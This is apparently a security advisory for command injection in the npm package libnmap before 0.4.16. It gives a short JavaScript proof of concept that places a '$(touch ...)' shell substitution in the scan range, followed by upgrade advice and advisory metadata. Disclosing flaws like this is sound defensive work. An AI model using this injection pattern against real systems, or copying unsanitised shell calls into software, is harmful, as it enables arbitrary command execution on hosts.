Versions of libnmap
before 0.4.16 are vulnerable to command injection.
Proof of concept
const nmap = require('libnmap');
const opts = {
range: [
'scanme.nmap.org',
"x.x.$(touch success.txt)"
]
};
nmap.scan(opts, function(err, report) {
if (err) throw new Error(err);
for (let item in report) {
console.log(JSON.stringify(report[item]));
}
});
Update to version 0.4.16 or later
{ "nvd_published_at": null, "cwe_ids": [ "CWE-77" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2020-06-16T21:22:42Z" }